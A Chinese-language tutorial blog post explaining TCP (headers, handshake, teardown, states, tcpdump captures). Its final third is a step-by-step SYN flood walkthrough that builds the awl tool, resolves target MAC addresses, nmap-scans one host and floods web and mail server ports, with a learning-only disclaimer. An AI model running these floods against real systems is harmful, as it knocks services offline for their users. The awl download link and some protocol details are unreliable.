這個TCP連接就是一次追女生-談戀愛-分手,追求比分手簡單,但是分手比追求復雜。哥,談了半年的女朋友,在就快要成功了的時候分了,原因是因為有人在后面該老子背后搞SYN洪泛攻擊,最后女朋友丟失了。學會TCP,教你追回你的前女友。不再為愛迷茫,是我的就是我的,別人怎么也拿不走。
Tcp 是傳輸層協議非常復雜的協議
1) TCP是面向連接的運輸層協議,也就是說應用程序在使用TCP協議之前,必須先建立TCP連接在傳輸數據完成后,必須釋放已經建立的TCP連接。
2) 每一條TCP連接只能有兩個端點,每一條TCP連接只能是點對點(1:1)。
3) TCP提供可靠交付的服務,特點:無差錯、不丟失、不重復、並且按時到達。
4) TCP提供全雙工通信。
5) TCP面向字節流。
TCP 的連接
TCP把連接作為最基本的抽象。
TCP是一個端到端的協議,TCP的端點叫套接字或插口。
在RFC793中定義:端口號拼接到IP地址即構成套接字。(套接字 socket =(IP:Port) )
每一條TCP連接唯一地被通信兩端的連個端點所確定。
TCP 連接 ::={socket1,socket} ={(IP1:Port1),(IP2:Port2)}
Socket(同名詞代表的不同含義)
1) socket 是傳輸層和應用層之間的一種接口稱為socket API,簡稱socket。
2) socketAPI中集成的函數 socket();
3) 調用socket()函數的端點稱為socket,
4) 調用socket()函數時,其返回值稱為socket描述符
5) 在操作系統中內核連網協議的Berkeley實現稱為socket
上面這些socket 和RFC793中的不同
可靠傳輸的工作原理
Tcp 協議發送的報文是交給IP層傳送
理想條件:
1)傳輸信道不產生差錯
2)不管對方發送多少數據,接受方都能接收到。
1) 停止等待協議
發送數據時,發送方向接收方發送數據包,每當發送方完成一個分組數據的傳輸就停止發送,等待對方確認,在收到確認后再發送下一個分組。如果發生超時,發送方就會重傳。
①無差錯情況
②出現差錯
出現差錯時候注意三點
必須暫時保留自己發送的分組腳本,對方收到確認后才可以清除保留的副本;
超時計時器應比數據分組傳輸往返平均時間更長一些,
③確認丟失和遲到
接受方發送的socket遲到了,
第一:丟棄這個重復的分組M1,不向上層交付,
第二: 向A發送確認。
2) 連續ARQ協議
滑動窗口協議比較復雜,是TCP協議的精髓所在,
數據按照分組滑動發送,然后確認向前還是向后,確認后向前繼續發送,這樣就完成了連續發送,和累計確認,發送方對數據做了排序就可以累計發送,提高信道利用率。接受大批量數據時如果丟包后重傳數據重復量較大。
TCP報文段的首部格式
1) 源端口和目的端口 各占兩個字節,分別寫入源端口號和目的端口號。
2) 序號 4字節
3) 確認號4字節
4) 數據偏移 占4位
5) 保留
6) 緊急URG
7) 確認ACK
8) 推送PUSH
9) 復位RST
10) 同步 SYN
11) 終止FIN
12) 窗口 2 字節
13) 檢驗和 2字節
14) 緊急指針 2字節
15) 選項 最大40字節
Tcp運輸連接管理,運輸連接是用來傳送TCP報文的,tcp運輸連接的建立和釋放是面向連接的通信必不可少的過程。運輸連接有三個階段,連接建立,數據傳送,連接釋放。
在連接過程中要解決以下三個問題
(1) 確認雙方相互的存在。
(2) 要允許雙方協商一些參數
(3) 能夠對運輸實體資源進行分配。
TCP三次握手
Tcp連接采用客戶模式,主動發起方為客戶,被動接收方為服務器
開始,A和B 都是處於關閉狀態,A主動打開連接,發送一個信號,B被動的打開連接,
B 的CTP服務進程先創建傳輸控制塊TCB,准備接受客戶進程的連接請求。然后服務器進程處於Listen狀態,等待客戶的連接請求。
A de TCP 客戶進程也首先創建出傳輸控制塊TCB,然后向B發送連接請求報文段,這時候,首部的SYN = 1,同時選擇一個初始序號 seq=x 。TCP規定SYN報文不能攜帶數據(SYN=1),但是要消耗一個序號,這時,tcp客戶端進入 SYN-SENT(同步已經發送)狀態。
B收到連接請求報文后,如同意建立連接,則向A發送確認,再確認報文段中把SYN和ACK都置為1,確認號為ack=x+1,同時也為自己選擇一個序號seq=y,請注意,這個報文段不能攜帶數據,,同樣消耗一個序號,這樣TCP服務器進程進入SYN-RECVD(同步收到)狀態。
TCP客戶進程收到B的確認后,還要向B給出確認,確認報文段的ACK=1 確認號ack=y+1,自己的序列號為seq=x+1. TCP 規定此時ACK可以攜帶報文。在這種情況下下一個數據報的序號任然是seq=x+1,這時TCP連接已經建立,A進入ESTABLISHED(已建立連接)狀態。B收到確認后也進入ESTABLISHED(已建立連接)狀態。
所以,以上建立連接過程為三次握手。(three-way handshake).
四次握手協議
TCP連接釋放過程比較復雜,數據傳輸結束后通信雙方都可以關閉連接,現在處於連接狀態ESTABLISHED
A 的進程連接先向其發送TCP發出連接釋放報文段,並停止再發送數據,主動關閉TCP連接。A把連接釋放報文段首部的終止位控制位FIN置為1,序號seq = u ,u=前面傳送完成的數據的最后一個字節的序號+1.這個時候A進入FIN-WAIT-1(終止等待1)狀態,等待B的確認,TCP 規定,FIN報文不准攜帶數據,其消耗一個序號。
B收到連接釋放報文段請求后確認,確認號ack = u +1, 而這個報文段自己的序號是v,等於B前面已傳送過的最后一個字符的序號+1,然后進入CLOSE-WAIT(關閉等待)狀態。TCP服務器進程這時通知最高層應用進程,因此A到B方向的連接就釋放了,這時的TCP連接處於半關閉(half-close)狀態,即A已經沒有數據需要發送了,但是B 若發送數據,A任然要接受,也就是說從B到A 方向的連接還沒關閉。這個狀態會持續一段時間。
A收到B 的來信后進入FIN-WAIT-2(終止等待2)狀態,等待B發出的連接釋放報文。
若B沒有要想A發送的數據,其應用進程就通知TCP釋放連接。這時B發出的連接文FIN=1.現在假定B的序號為w(在半關閉狀態B可能又發送了一條數)。B還必須重復上次已發送的確認號ack= u+1.這時候B進入LAST-ACK(最后確認)狀態,等待A確認。
A在接受到B的連接釋放報文后,必須對此發出確認。在確認報文段追中把ACK置為1,確認號ack=w+1, 自己的序號seq = u+1。(TCP標准,前面發送過的FIN報文要消耗掉一個序號)。然后進入到TIME-WAIT(等待時間)狀態。請注意現在的TCP 還沒釋放掉,必須經過時間等待計時器設置的2MSL后,A才進入到CLOSED狀態。時間MSL叫做最長報文段壽命,RFC793 中2分鍾實際沒這么長,因此A進入到TIME-WAIT狀態后A經過4分鍾才能到CLOSE狀態,才能開始建立下一個新的連接,當A撤銷相應的傳輸控制塊TCB后,就結束了這次TCP連接。
B只要收到A發送的確認,就進入CLOSE關閉狀態.B在撤銷相應的傳輸控制塊TCB后,就結束了這次的TCP連接。
上述的TCP連接過程稱為四次握手。
為什么兩次等待必須為2MSL時間?
第一:為了保證A發送的最后一個ACK報文能夠到達B
第二:防止上一節提到的“以失效的連接請求報文段”,出現在本連接中。
一,TCP三次握手及TCP連接狀態
TCP報文首部格式:
解釋以上信息:
ACK: TCP協議規定,只有ACK=1時有效,連接建立后所有發送的報文ACK必須為1
SYN(SYNchronization同步):在連接建立用來同步序號。當SYN=1而ACK=0時,表明這是一個連接請求報文。對方若同意建立連接,則應在響應報文中使用SYN=1和ACK=1因此,SYN置1表示這是一個連接請求或連接接受報文。
FIN(FINIS)即完,終結的意思,用來釋放一個連接。當FIN=1時,表明此報文段發送方的數據已經發送完畢,並要求釋放連接。
建立TCP連接時的TCP三次握手和斷開TCP連接時的4次揮手整體過程如下圖:
下面進行實戰:使用tcpdump抓取TCP三次握手
TCP三次握手過程:
1. 首先由Client發出請求連接即SYN=1,聲明自己的序號seq=X
2.然后Server進行回復確認,即SYN=1 聲明自己的序號seq=y,並設置ack=x+1
3.最后Client再進行一次確認,設置seq=x+1 ack+y+1
注:seq 序列號范圍:2^32-1 如果超過最大值,再從0開始
seq 序列號作用:依據這個序列號來組數據,如果發N個數據包,服務端會按序列號來重新組裝數據
實戰1:使用tcpdump抓包查看TCP三次握手過程:
tcpdump 常用參數:
-c 指定包個數
-n ip,端口用數字方式顯示
port 指定端口
Client:192.168.180.162 server:192.168.180.163
在clent上登陸,抓取ssh遠程產生的tcp三次握手包:
[root@zylei 桌面]# tcpdump port 22 -c 3 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
#提示一直在監聽eth0
再另一個虛擬終端通過ssh連接到server端
[root@zylei 桌面]# ssh root@192.168.180.163
root@192.168.180.163's password:
回到原來虛擬終端上來
[root@zylei 桌面]# tcpdump port 22 -c 3 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
10:52:18.963529 IP 192.168.180.162.40274 > 192.168.180.163.ssh: Flags [S], seq 702394658, win 14600, options [mss 1460,sackOK,TS val 86694762 ecr 0,nop,wscale 6], length 0
10:52:18.963768 IP 192.168.180.163.ssh > 192.168.180.162.40274: Flags [S.], seq 3287233370, ack 702394659, win 28960, options [mss 1460,sackOK,TS val 70267731 ecr 86694762,nop,wscale 7], length 0
10:52:18.963791 IP 192.168.180.162.40274 > 192.168.180.163.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 86694762 ecr 70267731], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel
#Flag[S]中的S表示為SYN包為1 。client主機返回ack=1 這個值為相對序號,如果想查看完整序號可以命令后面加-S
[root@zylei 桌面]# tcpdump port 22 -c 3 -n -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
11:04:01.333723 IP 192.168.180.162.40276 > 192.168.180.163.ssh: Flags [S], seq 143195220, win 14600, options [mss 1460,sackOK,TS val 87397132 ecr 0,nop,wscale 6], length 0
11:04:01.334138 IP 192.168.180.163.ssh > 192.168.180.162.40276: Flags [S.], seq 3639491649, ack 143195221, win 28960, options [mss 1460,sackOK,TS val 70970102 ecr 87397132,nop,wscale 7], length 0
11:04:01.334158 IP 192.168.180.162.40276 > 192.168.180.163.ssh: Flags [.], ack 3639491650, win 229, options [nop,nop,TS val 87397133 ecr 70970102], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel
TCP連接狀態
服務器端:LISTEN:偵聽來自遠方的TCP端口的連接請求
客戶端:SYN-SENT:再發送連接請求后等待匹配的連接請求
服務器端:SYN-RECEIVED:再收到和發送一個連接請求后等待對方對連接請求的確認
客戶端/服務器端:ESTABLISHED:代表一個打開的連接
客戶端:FIN-WAIT-1:等待遠程TCP連接中斷請求,或先前的連接中斷請求的確認
服務器端:CLOSE-WAIT:等待從本地用戶發來的連接中斷請求
客戶端:FIN-WAIT-2:從遠程TCP等待連接中斷請求
服務器端:LAST-ACK:等待原來的發向遠程TCP的連接中斷請求的確認
客戶端:TIME-WAIT:等待足夠的時間以確保遠程TCP接收到連接中斷請求的確認
服務器端:CLOSED:沒有任何連接狀態
SYN洪水攻擊概述:
SYN洪水攻擊主要源於: tcp協議的三次握手機制
tcp協議面向鏈接的協議
SYN洪水攻擊的過程:
在服務端返回一個確認的SYN-ACK包的時候有個潛在的弊端,如果發起的客戶是一個不存在的客戶端,那么服務端就不會接到客戶端回應的ACK包。
這時服務端需要耗費一定的數量的系統內存來等待這個未決的連接,直到等待超關閉時間,才能施放內存。
如果惡意者通過通過ip欺騙,發送大量SYN包給受害者系統,導致服務端存在大量未決的連接並占用大量內存和tcp連接,從而導致正常客戶端無法訪問服務端,這就是SYN洪水攻擊的過程。
3:使用awl偽裝MAC對內網的服務器施實syn洪水攻擊
實戰拓撲圖:
在客戶機上安裝awl軟件進行攻擊
下載地址:
https://gitlab.com/davical-project/awl/tags
上傳到linux系統中
開始安裝awl 0.5*之后的版本不能使用
[root@zylei ~]#tar zxvf awl-0.2.tar.gz #解壓
[root@zylei ~]#cd awl-0.2
[root@zylei awl-0.2]#./configure # 查檢軟件包安裝環境
[root@zylei awl-0.2]#make -j 4
#make 把源代碼編譯成可執行的二進制文件
# -j 4以4個進程同時編譯,速度快
[root@zylei awl-0.2]#make install #安裝
查看安裝的命令:
[root@zylei awl-0.2]# which awl
/usr/local/bin/awl
在xuegod64上搭建一台web服務器,模擬要被攻擊的服務器
[root@carl ~]# yum install httpd -y #安裝web服務器
[root@carl ~]# service httpd start
開始攻擊:
實戰4: 在局域網中使用 awl偽裝MAC地址進行多線程SYN攻擊
獲取對方的IP地址解析成MAC地址
[root@zylei ~]# ping 192.168.180.163
[root@zylei ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.180.163 ether 00:0c:29:cc:16:4d C eth0
192.168.180.220 ether 02:09:0f:78:d0:42 C eth0
192.168.180.207 ether 60:a4:4c:4d:86:75 C
開始攻擊:
awl參數如下:
-i 發送包的接口,如果省略默認是eth0
-m 指定目標mac地址 注:如果-m沒有指定mac,默認目標MAC地址是“FF.FF.FF.FF.FF.FF”,FF.FF.FF.FF.FF.FFMAC地址是什么?
這表示向同一網段內的所有主機發出ARP廣播,進行SYN攻擊,還容易使整個局域網癱瘓。
-d 被攻擊機器的IP
-p 被攻擊機器的端口
[root@zylei ~]# awl -i eth0 -m 00:0c:29:cc:16:4d -d 192.168.180.163 -p 80
測試攻擊效果:
在server (carl)上查看:發現很多偽裝成公網的IP在攻擊我們
[root@carl ~]# netstat -antup |grep 80
Awl 安裝,以及測試攻擊
一,安裝:
tar -zxvf awl-0.2.tar.gz
./configure --prefix=/usr/local/awl
make
make install
awl的執行程序安裝后在/usr/local/awl/bin目錄下
二,說明:
awl 的格式如下:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port
參數如下:
-i 發送包的接口,如果省略默認是eth0
-m 被***機器的mac地址,程序不能根據被***IP得到MAC,需要手工指定.先ping 目標IP,再arp -a就可以看到.如果省略則為ff:ff:ff:ff:ff:ff
-d 被***機器的IP
-p 被***機器的端口.
三,測試,
服務器端:Centos 5.4
對方服務器:redhat 運行郵件服務器,sendmail
1,首先得知對方IP
運行nmap -v -A 10.122.89.106 查看對方開了啥服務
[root@localhost bin]# nmap -v -A 10.122.89.106
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-06-02 19:24 CST
DNS resolution of 1 IPs took 0.39s.
Initiating SYN Stealth Scan against 10.122.89.106 [1680 ports] at 19:24
Discovered open port 21/tcp on 10.122.89.106
Discovered open port 25/tcp on 10.122.89.106
Discovered open port 22/tcp on 10.122.89.106
Discovered open port 443/tcp on 10.122.89.106
Discovered open port 80/tcp on 10.122.89.106
Discovered open port 199/tcp on 10.122.89.106
Discovered open port 110/tcp on 10.122.89.106
Discovered open port 143/tcp on 10.122.89.106
Discovered open port 3306/tcp on 10.122.89.106
得知對方開了如上端口
ping 10.122.89.106 得知mac地址
查看arp -a 得知對方IP的MAC地址
2.開始***:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d 10.122.89.106 -p 25
ping 10.122.89.106 -t 查下對方反應
四,測試效果
***一開始,對方明顯掛掉,各種應用無反應,
如下是抓包:
[root@localhost ~]# tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
以上實驗只用於學習TCP,嚴靜用於違法犯罪。
不當使用,后果自負。未經博主同意不得轉載。